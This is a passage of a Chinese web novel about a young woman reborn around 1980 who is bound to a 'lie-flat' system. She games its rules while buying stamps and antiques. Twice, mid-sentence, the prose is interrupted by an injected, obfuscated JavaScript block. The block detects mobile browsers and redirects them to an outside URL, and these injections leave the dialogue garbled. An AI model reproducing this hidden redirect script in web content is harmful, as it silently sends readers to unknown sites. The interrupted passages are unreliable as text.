别说李婶了,周围偷听的邻居们嘴角就抽搐一下。 这叫“门当户对”? 大专学历、独立住房、年收入一千五,还要一米八的帅哥?这“门当户对”还真挺少见。 “门当户对?”李婶翻个白眼,“你家这门该是九钉大金门,一般人儿还不敢踏进去。行了,我也听出来了,你啊,就是看不上。算了,我也不费事儿了,以后啊,你就找你的九钉大金门去吧。大白天的,还发梦的娃儿,我是介绍不起了……” 说着,李婶就端着碗走了。 其他几个原本也有心思介绍的热心大妈,此刻也悄悄缩了回去,互相交换了两个眼神:行了,这时家的小闺女,人家是要找“金龟婿”呢,她们可招惹不起。 时墨看着作鸟兽散的众人,无奈耸耸肩:她的优秀让所有人都望而却步了。 也好,倒也清净了。 楼梯转角处,谢时昀单手插兜,静静站着,唇角噙着一抹极淡的笑意。 时墨满意地看着自己的“战果”,拎起菜篮子提起板凳准备回家。 一转身,就瞥见楼梯转角处站着个男人,身姿挺拔,穿着讲究的白衬衫,往她这边看。 时墨淡淡扫了他一眼,侧身绕开他往家走。 擦肩而过的瞬间,空气中留下一缕淡淡的香皂香。 谢时昀嘴角微勾:这姑娘,可真有意思。 时墨吗?他记住了。 * 时墨刚进门,将板凳放好,提着菜篮子进了厨房,拿了碗放好菜篮子里的两个包子,打开水龙头,将摘好的扁豆角放进去清洗。 就听见系统在脑海里道:【监测到宿主有过度劳动的嫌疑,警告一次!】 时墨手一顿,无语道:【我干嘛了,我就过度劳动了?】 【您洗菜了。】系统理直气壮。 时墨:…… 【你别太离谱了,我洗个菜都过度劳动了?!】 系统:【是的,宿主,根据您的躺平任务规定,系统判定这是过度劳动。】 时墨翻个白眼:【那我中午不吃饭吗?饿肚子?】 系统:【您可以花钱解决。】 时墨:…… 她还不信这个邪了! 她洗锅,系统警告,她架锅放油,随即打开煤气,点火—— 系统:【警告宿主第三次,宿主依旧过度劳动,给予一次物理惩戒!】 时墨拧眉,还没来得及想到底什么是物理惩戒,下一秒,怪事发生—— 煤气灶的火苗突然猛地窜起,带着一股呛人的煤气味,瞬间燎到了旁边挂着的抹布。 “妈呀!”时墨下意识惊呼向后退! 火苗不大,却来得猝不及防,火舌直接撩了时墨的发梢。 时墨刚要打开水龙头接水,结果:没!水!了! 明明刚刚还有水的! 这狗系统!靠! 系统:【请宿主不要辱骂系统,这是系统根据规定给予宿主的惩戒,希望宿主能引以为戒,以后不要再犯。】 时墨:【我真是谢谢你了!】 她赶紧抓起旁边的锅盖就要盖到油锅上去,却莫名的手里的锅盖直接飞出了窗外,梆梆铛铛地锅盖直接沿着窗外的房檐就滚下了院子…… 时墨:…… 很好! 她伸手想要把抹布扯下来踩灭,那明明只是被撩着的抹布却一下子火苗窜起,吓得她手下意识缩了回来! 时墨脸一沉:真是非常好! 她记住了! 这一连串动作,说起来复杂,实际上也就数十秒的时间,可仅仅这段时间,窗外已经有人看到了她这边的火光冲天,浓烟滚滚,不知道谁喊了一句:“我的老天爷,6栋二单元403着火了!” 又不知道谁吼了一句更为响亮的:“老时家的厨房烧起来了!” 随即就是锣鼓喧天,人仰马翻…… 等大院里的保卫科成员和巷子口的消防队,乃至于整层的人都涌过来救火的同时,时墨被扯出家门,她已经整个人都黑乎乎像个煤团,只剩一双眼睛还有点白。 李秀兰和时爱国得到消息跑回来看到闺女这个样子,都心疼坏了,一边给邻居们道歉,一边不停地安慰她。 时墨:……她其实并不是那么需要安慰。 真的,谢谢。 刚走到楼底下准备离开的谢时昀站在人群中,一脸震惊地看着被家人邻居围在中间安慰关心的女孩——她把厨房给烧了?! 等一切结束,时墨再三保证以后都不会进厨房做饭,并且接受了父母的建议,以后中午出去吃后,她才终于有时间回房,心里阴沉道:【行啊小七,你挺有本事。】 【系统已经警告宿主三次了,是宿主您不听。】系统理直气壮的劝告【请宿主仔细阅读任务条款,遵守任务行为规范。】 时墨没说话,冷笑一声:【你这意思是之前我们定好的和平共处,齐心协力完成任务的合作作废了?】 系统机械音刺啦了一声才道:【宿主,我也没办法啊,您这种行为会被记录下来的,我的上级要是看到了记录,会对我的工作报告进行质疑的,我只能按照规定警告您。】 时墨哼了一声,【行,你给我等着!】 系统:……它太难了。 不过嘛,它也想看看宿主会怎么做,这可不是它故(you)意为难宿主啊! 当天晚上,一家人的晚饭都是李秀兰和时爱国在厂里食堂打回来的,吃完了,时爱国和时建军还赶着时间将厨房收拾了一下,重新刷白了,将烧过的痕迹就一点点抹除掉,恢复原样。 时墨只能沉默地看着,心内有了一丝愧疚。但对于系统,她也并没有彻底死心,她总要知道系统的底线在哪里才能更好做自己。 第二天,家里人都上班去,时墨故意拿起扫帚扫地。 刚扫了两下,手腕突然一麻,扫帚“啪嗒”一声掉在地上。手把正好打翻了地上的半盆清水,撒了一地,比没扫之前还狼藉。 【警告!宿主进行非必要的清洁劳动,并因‘意外’导致劳动成果负增长。建议宿主静坐休息,欣赏灰尘的自然美学。】 【灰尘的自然美学?】时墨忍不住嘴角抽搐。 而且,这“意外”难道不是系统你搞的? 系统:【是宿主咎由自取,请宿主严肃对待躺平任务!】 时墨:呵呵。 第2次交锋,时墨败。 还是中午时建军回来收拾的,时墨对于她哥的震惊脸,只能沉默以对。 谁能想到,一个大姑娘,连扫个地都能搞得满地狼藉? 第三天,时墨想着帮李秀兰洗衣服,刚把洗衣服泡上,没问题,可屁股刚坐板凳上准备揉洗,板凳就突然散架了,她直接坐了个大屁蹲,尾椎骨疼够呛。 【警告宿主过度劳动!】 时墨气笑了,揉着屁股站起来,眼底终于燃起了一丝火光:【你很好,系统!】 连着几次试探,时墨彻底摸清了系统的套路——凡是需要“主动付出体力”且“超出基本生存需求”的事,都算违规。 哪怕是帮家里干活,稍微积极一点,都要被惩罚——因为这属于“主动付出体力”,也“超出了基本生存需求”,在系统的理解中:她可以拿钱到外面去解决午饭的问题。 关键是:家里人还真是这么想的。 李秀兰和时爱国,时建军都同意每天给她两块钱在外面吃饭。 时墨:……行吧,正好她可以到处溜达溜达。 她也彻底消停,不再强行跟系统对抗。 接下来的几天,时墨每天睡到日上三竿,起床后要么靠在沙发上看书,要么坐在院子里晒太阳或者听收音机,饭后连碗筷都懒得收拾。 李秀兰喊她帮忙择菜,她摘完了也不洗,借口头晕回屋躺着。 没过几天,“时家闺女懒得出奇”的名声,就在家属院传开了。 “老时家那丫头,是不是受啥刺激了?以前挺勤快一孩子,现在油瓶倒了都不扶一下。” “可不是咋地,连做饭都能烧厨房,现在可好,人家干脆啥也不干了。” “是啊是啊,天天躺着,跟个老太爷似的,以后谁敢娶啊?” “复读压力太大了吧?” “我看是有点懒筋犯了。” “我咋听说这是电视上说的那什么心理病呢?” “啥就是心理病啊?我看就是犯了懒病。” “听说之前相亲还提那么高的条件,就她这懒样,怕是要打一辈子光棍!” “可惜了那张脸,这么懒,以后可怎么找婆家哦……哦对了,人家眼光高着呢,咱可不敢介绍。” “真是好笑,人家老时家的闺女,吃你们家大米了吗?就在这儿瞎操心……” 说着就吵吵起来了,声音还越来越大。 时墨站在看热闹的人群中,手里揣着瓜子一边磕,一边点头:就是就是,吃你们家大米了吗?就在这儿叭叭叭的。 等人群里有人看到她,还故意喊了一嗓子:“墨墨,你也看热闹呢?” 吵吵的两方人才骤然一静,尴尬地相视一眼,然后异口同声说了一句:“哎呀,家里还煮着饭呢(蒸着馒头、煮着粥…)……” 随后便一哄而散。 时墨可惜地摇了摇头:咋就不吵了呢?她瓜子还没磕完呢。 系统:【……宿主躺平任务完成优秀,奖励现金十元。】 时墨眸光微闪:【哦。】 之后的日子,她依旧每天该溜达溜达,只不过溜达的范围越来越广。 百货商场、农贸市场、信托商店、邮局、新华书店……她像个真正的闲人,这里看看,那里问问,但绝不买任何“无用”的东西,也绝不表现出任何对“经营”的兴趣。 没几天,时墨的“溜达”变得有了明确目标。 她不再漫无目的地晃荡,而是把家属院附近的几条街、几个核心市场都摸了个遍,每天揣着几毛钱,要么买根冰棍坐在路边观察,要么借着买东西的由头跟摊主闲聊,不动声色地收集信息。 红星路的副食店,是凭票供应的国营店,玻璃柜台擦得锃亮,里面摆着白糖、奶粉、饼干、罐头,都是寻常人家难得的稀罕物。 时墨假装想买奶粉,跟售货员大姐搭话:“大姐,这奶粉多少钱一斤啊?要不要票?” “要票!两毛八一斤,还得凭工业券!”售货员头也不抬地说,“没票别问了,来了也不卖。” 时墨点点头,又问:“那白糖呢?听说最近白糖紧俏?” “可不是嘛!”旁边排队的大妈热心搭起话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126919|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“前几天刚到一批货,一上午就抢完了,现在托关系都难弄到。还好我家之前买了一袋,小姑娘你再等等吧。” 时墨心里有数了,计划经济下,“票证”是硬通货,而稀缺商品的供需缺口,就是巨大的机会。 她悄悄在心里记下:白糖、奶粉、工业券,溢价空间大。 城南的自由市场是个体户聚集的地方,没有票证限制,价格随行就市,更能反映真实的市场需求。 时墨刚走进市场,就被各种吆喝声淹没。 “新鲜的鸡蛋!五毛一斤!” “自家种的黄瓜!一毛五一斤!” “手工纳的布鞋!二块五一双!” 时墨慢悠悠地逛着,目光在摊位间快速扫过。 一个卖的确良布料的摊位前围了不少年轻姑娘,摊主是个精明的中年男人,嘴里不停吆喝:“正宗S市的确良!不起球不褪色!八块钱一米!” 时墨凑过去,摸了摸布料的质感,确实是后世流行的款式。 她听见旁边两个姑娘嘀咕:“太贵了,普通棉布才两块钱一米。” “贵也值啊!的确良洋气,穿出去倍儿有面子!” “也是,做个衬衫要不了多少布。” 时墨心里一动,当下时髦、稀缺的轻工产品,是年轻人的刚需,哪怕价格高,也有人愿意买单。 她又注意到,市场角落里有个卖旧物件的摊位,摊主摆着一堆老邮票、粮票、布票,还有几个老式的收音机零件。 “同志,这粮票怎么卖?”时墨蹲下来,指着一沓全国粮票。 摊主看她年纪小,没当回事:“一毛钱一张,全国粮票贵点,一毛五。” 时墨挑了两张看了看,都是1965年版的,心里暗笑——这可是未来的收藏品,现在却贱如白菜。 她没立刻买,只是记下价格,又问:“那邮票呢?老邮票收不收?” “收!普通邮票一毛钱三张,特殊的另算。”摊主随口道。 离开自由市场时,时墨手里多了一斤黄瓜,心里却装满了数据:的确良布料溢价超300%,全国粮票比地方粮票贵50%,老邮票尚未形成收藏市场,价格极低。 时墨今天的第三站是邮局旁边的报刊亭。 这里有最新的报纸杂志,是了解政策风向和市场动态的窗口。 时墨花三分钱买了一份《经济参考报》,找了个树荫坐下,仔细翻看。 报纸上提到,南方特区已经开始试点“个体户注册”,允许私人经营小商品;还提到,随着对外交流增多,进口手表、收音机等商品的需求日益增长,但供应不足。 时墨指尖划过报纸上的文字,眼底闪过一丝锐利。 政策松动,需求爆发,供应短缺——这正是最好的时代。 【宿主!你现在的行为已经属于“市场调研”!疑似有营利倾向!警告一次!】系统的声音突然响起。 时墨挑眉,慢悠悠地啃了口黄瓜:【我就是随便看看报纸,逛逛市场,这也叫营利倾向?你别没事找事啊。还有,最近你一而再地违反跟我之间的合作协议,我很怀疑你是不是诚心跟我合作的,还是说,你根本就没打算跟我合作,而是想操控我完成任务?】 【宿主,您不能这样怀疑我,我是诚心的,可是你……你就是在打听赚钱信息!】系统急了。【这在行为检测里会被判定为违规的!】 【赚钱?】时墨嗤笑,【我可没有,别诬赖我,不然我告你诽谤。我复读生了解国家大事利于高考课题,这你都不懂当什么系统。】 系统被噎得说不出话,过了半天,才憋出一句:【……禁止过度收集营利信息!宿主,躺平条款里这可是属于违规,您要是再这样,我也没办法,是一定要惩罚的!】 时墨没理它,继续翻看报纸。 她知道,系统的底线是“不劳累”“不超额赚钱”,只要她不亲自下场经营,不付出体力劳动,只是收集信息、进行低额度的投资收藏,系统就没理由惩罚她。 逛到下午,时墨走到邮局门口,橱窗里的海报瞬间吸引了她的注意——1980年庚申猴票,整版售价6.4元。 她的眼睛瞬间亮了。 猴票啊! 后世千金难求的硬通货! 时墨赶紧摸了摸口袋里攒的零花钱,一共七块二毛,唉,早知道多带点,多买几版! 时墨毫不犹豫地走进邮局,直奔柜台:“同志,给我来一整版猴票。” 营业员愣了一下:“一整版?确定吗?” “确定。”时墨点头,把钱递了过去。 营业员麻利地拿出一整版猴票,递给她。 时墨接过那薄薄的一张纸,指尖都在微微颤抖。八十只金灿灿的小猴子,在阳光下栩栩如生,仿佛在向她招手。 她小心翼翼地把猴票夹进书里,心里乐开了花。 【检测到宿主进行可能带有未来盈利预期的收藏行为,但鉴于当前支出属于低额度个人消费,未触发违规。】 系统的声音响起,虽然还是一如既往的机械,可时墨却能隐隐感觉到它的不甘。 时墨勾起唇角:【哦,原来这不违规啊。】 系统:【……是,不违规。】 时墨瞬间明白了,转身回家立刻翻出存钱盒里剩下的82块6毛钱,想了想拿出80块钱,直奔邮局。 【宿主,你要干什么?!】 【你猜~】 5. 第 5 章 时墨揣着钱,脚下生风般又折返回邮局。 先前招待时墨的营业员大姐刚坐下喝了口水,就见刚买走一版猴票的漂亮姑娘又回来了,眼睛亮晶晶地趴在柜台前:“同志,刚才那种猴票,再给我来五版!” “啥?!”大姐一口水差点呛着,扶着柜台站起来,仔细打量时墨,满脸诧异:“姑娘,你……你没说错吧?五版?那可是三十二块钱!”这年头,普通工人一个月工资才三四十块。 “没错,是要五版。”时墨笑眯眯地把钱数好递过去,“我这是送人用的,咱们邮局出的这版猴票用我们老师的话说——特有艺术气息,我买来当伴手礼,实用又体面。” 【宿主,你这根本不是日常消费!是在钻空子!请立刻停止你的行为!】系统在时墨脑海里大声斥责,【你刚才买一版就算了,你现在开始批量购入,目的不纯!】 【你别管我买几版,按照现在的邮票价值计算,我买邮票集邮这个行为,违不违规?】 系统彻底噎住,只发出刺啦一声的电流声。 时墨笑眯眯:【是你先违反我们之间的约定在先,我不跟你计较,现在我没有违规你急什么呢?而且,在这个年代,集邮可是一项十分奢侈的爱好,我的躺平任务,不就是让我吃喝玩乐吗?我正在完成啊!】 时墨话音刚落,系统就看到自己的面板上弹出:检测到矫正宿主优秀完成躺平任务,奖励10元。 系统:…… 它只能憋屈地跟时墨重复了一次,时墨笑了:【看,你也赞同哦!】 系统:啊啊啊啊啊!它没有!它不是! 时墨无视系统的沉默,心里哼着小调。 营业员大姐点点头,赞同道:“你老师这话没错,这猴票图案多讨喜,金灿灿的小猴子,长辈们肯定喜欢。” 时墨面上对营业员笑得愈发甜:“是呀,对了姐,最近邮局还有别的稀罕邮票吗?” 营业员大姐见她付款爽快,态度也热络起来:“稀罕的倒是没有,不过这猴票刚发行半年,买的人不多,你一下子买六版,倒是少见。” 她麻利地点数猴票,一边说道,“要说稀罕物件,你可以去东街角的信托商店看看,里头啥稀奇古怪的旧东西都有,价钱也实在,好多人家处理旧物都送那儿。你去瞧瞧,兴许有合心意的。” “哦?是吗?”时墨眼睛一亮,顺势追问,“那信托商店的东西贵不贵?要不要票?” “不要票,都是议价的,你好好砍砍价,应该能划算不少。”营业员大姐把五版猴票递给她,“拿好喽,五版都在这儿,数数看。” 时墨仔细清点完毕,小心翼翼地把猴票都夹进带来的文件夹里,心里乐开了花:她总算是找到能让系统吃瘪的法子了,也能让自己达成一部分目标,完美! 离开邮局,时墨直奔营业员说的信托商店。 信托商店里光线略显昏暗,推开吱呀作响的木门,一股混杂着樟脑丸和旧木头的气息扑面而来。 柜台和货架上分门别类摆着五花八门的旧物:旧家具、瓷器、铜器、旧书报、眼镜、手表、家具,甚至还有旧乐器,琳琅满目,目不暇给。 屋里顾客不多,只有几个上了年纪的人慢悠悠地闲逛着。 时墨放慢脚步,目光在货架间扫过,她知道一些古董捡漏的传说,但自己其实一窍不通。她只能凭感觉,挑那些看起来做工精细、样式别致,或者材质特别的。 系统的声音又冒了出来:【宿主!这里的物品均为非日常必需旧物,请谨慎购买,超额即惩罚!】 【我就是看看,不买,再说我上哪拿出一千多块钱。】时墨随口回应,指尖却不自觉地拂过一件铜制香炉,没什么感觉继续往旁边看。 又拿起一个卷轴,展开是幅普通的山水画,纸质泛黄。一看就是造假的,继续放下。 又慢悠悠走到摆着文房四宝的货架前,随手拿起一个巴掌大的旧砚台,砚台通体黝黑,触感温润细腻,边缘带着自然的包浆,看起来平平无奇。 就在时墨指尖触及砚台冰凉石面的刹那—— 【滋……】脑海里系统的背景音仿佛电流般极轻微地紊乱了一下,瞬间陷入一种诡异的安静,之前不停的叨叨和警告声消失了一瞬。很快系统恢复了正常,又开始絮叨躺平的好处,仿佛刚才的卡顿只是错觉。 时墨心脏猛地一跳——这是好东西! 她不动声色地把砚台放进臂弯挎着的拎筐里,继续往前走。 很快,时墨又在一堆杯盏中,瞥见一个青花小杯,杯身绘着缠枝莲纹,釉色温润,有一道不明显的裂纹。 指尖触碰的瞬间,同样的感觉再次袭来——系统瞬间安静,生怕被她瞧出异样。 果然有门道。 时墨眼底闪过一丝惊喜。 系统的反应,简直是天然的鉴宝雷达! 她淡定地把青花杯也放进包里,继续搜寻。 看了一圈,时墨也看不出其他东西正要离开时,她突然在货架最底层扫见一个约三十公分高青釉瓷瓶,瓶身线条流畅,釉色均匀,瓶身绘着山水人物,它摆在那里,莫名有种沉稳的气场。 时墨弯腰拿起。 系统却突然炸了:【宿主当前余额不足以支付此物品标价!请立刻放下!】 几乎是同时,时墨也看到了贴在瓶底的价格标签:四十五元。 时墨一愣,又摸了摸口袋——确实,买完五版猴票,剩下的钱够买这个瓷瓶,却不够再买别的,而且接下来的生活费也会紧张。 她摩挲着瓷瓶,眼底满是兴味。这瓷瓶一看就价值不菲,错过实在可惜。而且系统反应如此激烈,更说明这瓶子不简单! 时墨抱着瓶子,笑容灿烂。 系统越阻拦,越说明这可能是个大漏! 钱不够?小问题。 “姑娘,看中这青釉瓶了?”一个低沉悦耳的声音突然在身后响起。 时墨回头,只见之前碰到过的男人站在不远处,手里拿着一本旧书,目光落在她手里的瓷瓶上,眼底带着笑意。 她眉头微蹙——怎么又是他? 谢时昀缓步走近,目光扫过时墨臂弯筐里的砚台、杯盏,最后落在她怀里抱着的青花瓷瓶上,眉梢几不可察地动了一下。 “你眼光不错,这方端砚质地细腻,青花小杯是康熙民窑精品,还有这青釉瓶,是雍正年间的仿汝窑,都是难得的好东西。” 时墨眼里露出诧异——这人懂古董?难道想从我手里抢? 时墨随即警惕地后退一步,四下看了看,发现没人注意到这边,压低声音质问道:“你什么意思?” 【宿主!他是来抢你宝贝的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126920|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】系统这时看起热闹,还劝说上了:【咱没钱给他算了。】 时墨没理会系统,紧盯着眼前的男人:真来抢?也行,不过可不能白“让”给他。 谢时昀突然开口道:“我看你刚才反复纠结怕是预算不够,我可以借你一部分钱。” 时墨一副看神经病的眼神看了眼谢时昀。 下一秒。 “我姨夫是红星机械厂厂长,我借你钱可按银行的活期利息算。”谢时昀继续游说,“我看你是懂行的,难得碰上同好,难免不帮上一把。” 【宿主!别答应!他肯定没安好心!】系统气急,觉得谢时昀毁了它的事。 时墨:【放心,我不傻。】 她眼底闪过一抹了然,似笑非笑地看着眼前的男人,道:“这里是信托商店。” “嗯?”谢时昀不解。 时墨没理会他,绕过他直接来到了柜台前,对营业员说:“同志,这个瓶子,还有这两件,我都要了。麻烦算一下总价。” “砚台五元,杯盏三元,青花瓶四十五元,总计五十三元。”营业员倒是计算得十分快。 时墨笑眯眯道:“28块。” 营业员脸色微变,还价:“50。” “最多30。” 营业员:…… “35,真的不能再便宜了,这个大瓷瓶看着都要这个价了。” 时墨:“30,行我就交钱,不行我就走了。” 营业员:“……行行行,你这姑娘,看着不大,倒是挺会砍价的。” 时墨呵呵笑:“姐,您就别逗我了,我这还会砍价?” 营业员笑呵呵,赶紧给她写单子,让她付钱,快速给她打包了:“多谢惠顾,欢迎再来。” 可别再说了,您赶紧走吧。 时墨也心照不宣,提着东西就走。 留下谢时昀在身后,忍不住失笑。 【宿主,您竟然会砍价?!】系统都震惊了,还能这样的? 时墨挑挑眉,【砍价很难吗?直接对着一半砍下去,对方肯定有赚头的。】 系统:【一半还有赚头?】 时墨无语:【不然呢?实体店面,基本都是两三倍的利润。】 系统沉默了。 时墨出门就看到公交站来了到她家的车,赶紧一路小跑过去,着急忙慌上了车。 时墨哼着小曲回了家,系统还在脑海里气哼哼哼唧了一会儿,哼唧完了突然问道:【宿主,您能教教我怎么砍价吗?】 时墨躺在床上,看着手里的猴票,笑得眉眼弯弯亲了一口。 她今儿心情好,懒得和系统计较。 【行啊,不过,你要怎么给学费呢?】 系统底气不足:【我以后都听您的?】 时墨笑眯眯,【确定?】 系统:【确定。】 【你要是反悔的话,我可再也不管你了哦。】时墨悠悠然地将东西放好。 系统:【我绝不反悔,不过宿主,躺平条款在这里,我有时候也无能为力。】 时墨笑眯眯,【我懂,我也不为难你,你告诉我什么一定会违规,什么不一定就可以了,这很简单吧?】 系统:这不就是让它配合着她一起钻空子吗? 【我,尽量!】 【真乖~】 6. 第 6 章 时墨把东西整理好,端砚摆在书桌显眼处,青花小杯洗净了放在书桌旁当摆件,打量一眼家里位置,将掏来的青釉瓷瓶稳稳立在客厅五斗柜上,又把刚从院子里摘的几枝月季简单修剪一番,插进青釉瓷瓶里。 娇嫩的黄月季衬着青润的瓶身,竟意外地和谐好看。 “墨墨,这瓶子哪儿来的?”李秀兰端着洗衣盆从外面进来,走进屋一眼就瞥见了桌上的瓷瓶,眼睛一亮,“可真好看,显得咱家都文雅起来。” 时墨正在给月季洒水,抬头笑道:“从信托商店淘来的,觉得合眼缘就买了。” “信托商店?”时爱国这时下班刚进家门,也凑过来打量起瓶子,“这瓶子看着挺精致,不像便宜货,墨墨,你怎么想起买这些旧玩意儿了?” “我看了本杂志说,不能一味死读书,得有点兴趣爱好陶冶陶冶情操,劳逸结合。我看这些好看的东西,心情好了,复习也有劲儿。” 时墨说着,愧疚地看着李秀兰夫妻俩:“爸妈,我之前一门心思死读书,越读越闷,身体也弄得不太好,让你们操心了。” 这话可说到李秀兰和时爱国心坎里去了,闺女之前高考失利后那阴郁自闭的样子,他们可还心有余悸。现在闺女愿意出门走走,还发展点“雅好”,又不是乱花钱,他们举双手赞成。 李秀兰赶紧点头,拉住闺女的手:“对对对!就该这样!以前你太拼了,人都闷出病来了。喜欢这些就买,妈支持你!”说着,转身从抽屉里拿出十块钱,塞进时墨手里,“拿着,不够再跟妈说,别委屈自己。” 时爱国看到闺女现在面色红润想开了,也高兴附和着:“你妈说得对,学习固然重要,心情舒畅更是关键。毕竟老话说得好,身体才是本钱嘛。这些东西看着就雅致有文化气息,多看看确实能养性子。” 他顿了顿,又道,“以后想买就买,爸这儿还有钱。” “不用了爸,我妈给的够了,要是不够我管你要。”时墨连忙拦住,心里却暖洋洋的,“爸妈你们放心,我不会乱花钱的,就偶尔淘点喜欢的,调剂一下。” 【宿主,你爸爸妈妈多好,你这不是撒谎骗他们吗?】系统有种跟宿主骗老实人的欺骗感,忍不住出声道。 【话可不能这么说。】时墨在心里回应道,【我确实是陶冶情操啊,你给你工位也整点花花草草小摆件等有生命活力的东西后,你就懂我了。】 【哦。】系统语气有点失落。 【没钱?】时墨秒懂,大方道,【走我账户,我不有3000块放你那儿。】 系统突然忸捏起来:【那……那多不好意思。】 【我不是说了,我的就是你的,你的就是我的,咱俩不分彼此】时墨低垂眼,蛊惑道,【你不是说数额你可以等价平换,咱不亏。】 【不亏!】系统用力点着不存在的头。 【去花吧,记得砍价。】 【嗯嗯嗯,我会记得的,嘻嘻嘻。】系统学着从时墨那里学来的笑声消失了。 时墨:【……】学这玩应儿倒挺快。 * 接下来几天,时墨一边按部就班复习,一边时不时摩挲那些淘来的旧物件。 砚台被她用来研墨练字,青花小杯偶尔用来喝茶,青釉瓷瓶里的花谢了,就换一批新鲜的,家里因为这些旧物件,多了几分雅致的烟火气。 周三这天一大早,时墨揣着钱,直奔信托商店。 信托商店刚开门不久,里面已经有了几个顾客。 时墨刚进门,就在几人里看到一个熟悉的身影。 谢时昀正站在文房四宝货架前,手里拿着一方砚台细细打量,没有注意到她。 时墨挑眉,却也没有故意走过去,只是在身边的博古架看了起来。 谢时昀却回头看去,一眼就看到了时墨,眼底闪过一丝笑意,走过来故意道:“同志,这么巧?” “是挺巧的。”时墨挑了下眉,拿起眼前的一根木簪看起来。 “这支梅花簪雕工不错,看手艺和木料应该是明代的……”谢时昀笑着压低声音道:“应该是明代的制品。” 时墨瞬间心领神会,目光扫过他手里的砚台,“同志又来淘货?” “嗯,闲来无事,过来看看。”谢时昀看着她,“你今天想淘点什么?” “随便逛逛,看看有没有合心意的。”时墨说着,目光又在货架上扫了起来。 系统忸捏的声音突然响起:【宿主,你看左手边三排,角落处沾土的银币,那个是真的龙币,一般人不知道。】 【哟~】时墨调笑起来,没想到系统这么快投桃报李。 系统尴尬地轻咳两声:【合,合理花销,没超。】 【这就对了嘛,不愧是我的乖宝。】 被叫乖宝的系统,捂着自己红色的显示屏安静了。 谢时昀看时墨眼一扫,手精准拿起一枚不起眼的旧币,微微眯眼盯了两秒,震惊地看着时墨,眼底闪过欣赏。 “你可以跟老板讲讲价,这个旧钱币看着像假货,标价八块,你砍到六块应该没问题。” 时墨只是勾了勾嘴角,谢时昀瞬间响起昨天她砍价的风姿,有些尴尬地摸了摸鼻子,人家可不需要他多余说这句话。 就在两人之间气氛有些微妙的时候,就听到门口传来一阵熟悉的声音:“墨墨!你果然在这儿!” 时墨回头,只见时建军气喘吁吁地跑进来,手里拿着一个红色的礼盒,脸上带着几分不好意思的笑:“妹,我跟你说个事儿。” 他走到时墨身边,压低声音:“周晓娟这两天不是回来了吗?这是我托人买的最新款英雄钢笔,你今天要是去找她帮我转交下,就说……就说祝她在大学学业有成。” 时墨挑眉看着他,故意拉长声音:“哥,你这是……” 时建军的脸瞬间红透了,挠了挠头:“别多想啊!就是……就是她是你好朋友,以往在学校也没少帮你,她考上大学我也没送个礼物,现在补上,你别多想。” 时墨接过盒子,眼珠一转,笑道:“哥,你自己去送不是更有诚意?晓娟肯定高兴。” “我、我去干啥!我们……我们又不熟!”时建军脖子都红了,眼神躲闪,“你是她好朋友,你送合适!对了,我骑自行车送你去!” 时墨看着时建军那副既期待又怂包的样子,心里好笑,也不再逗他:“行吧,那你送我。不过到了周家,你得跟我一起进去,打个招呼总行吧?不然多没礼貌。” 时建军纠结了一下,想到能见周晓娟一面,最终还是重重点头:“成!” 谢时昀站在一旁,看着这兄妹俩的互动,眼底带着温和的笑意,没有丝毫不耐烦。 时墨却没有施舍半个眼神给他,攥着银币跟店员砍完价,最终以2块付了钱,和时建军一起离开了信托商店。 谢时昀再次被时墨的砍价技术震惊到。 走出店门,时建军忍不住问:“妹,刚才那个男的是谁啊?看着挺有气质的,你认识?” “不认识,就是上次也在信托商店碰到,说了两句话。”时墨心思根本不在谢时昀身上,已经开始盘算起来——周晓娟是原主最好的朋友,现就读师范大学英文系,算是当代高材生。 她的思想应该比普通人开阔,这次去找她,正好试探一下她的眼光和格局,看看能不能成为自己未来的合伙人。 毕竟,她可看不上现在倒腾的这点小钱。 兄妹俩骑着家里那辆二八杠自行车,时墨侧坐在后座,直奔周晓娟家。 周晓娟家住在另一个家属院,刚到门口,就看到周晓娟穿着一件白色的连衣裙,站在院子里和邻居说话。她剪了齐耳短发,戴着一副眼镜,透着股书卷气。 “晓娟!”时墨扬声喊道。 周晓娟回头看到时墨,眼睛一亮,惊喜地快步跑了过来:“墨墨!你怎么来了?我正想去找你呢!”她看到时墨身边的时建军,点点头打了个招呼,“建军哥也来了。” “听说你回来了,特意过来看看你。”时墨语气亲昵,把手里的钢笔礼盒递过去,“这是我哥托我给你带的,祝你的大学生活顺顺利利。” 周晓娟接过礼盒,打开一看,眼里闪过惊喜:“英雄钢笔,这太贵重了!谢谢建军哥,也谢谢墨墨!” 时建军脸色泛红,拘谨道:“不客气,你喜欢就好。” 周晓娟把他们领进屋里,屋里收拾得干净整洁,书桌上摆着不少英文书籍和杂志。 三人坐下后,周晓娟兴奋地跟时墨分享大学生活:“墨墨,大学真的太有意思了,跟高中完全不一样!大家思想都开放很多!我们老师有留过学的,讲的东西特别新奇。我还加入了英文戏剧社,等下次有演出,我一定给你留票!” “好呀,很期待哦。” 周晓娟感慨道:“我们有些同学已经在看国外原版的经济学书籍了,还说以后机会多着呢。” 时墨听到她这话,适时好奇提问:“晓娟,你们同学说的机会,主要是指什么?” 周晓娟推了推眼镜,说道:“因为我们老师经常提起,说现在国家政策越来越开放了,南方那边发展得特别快。同学说,以后英语会越来越重要,说不定能进外企工作呢。” 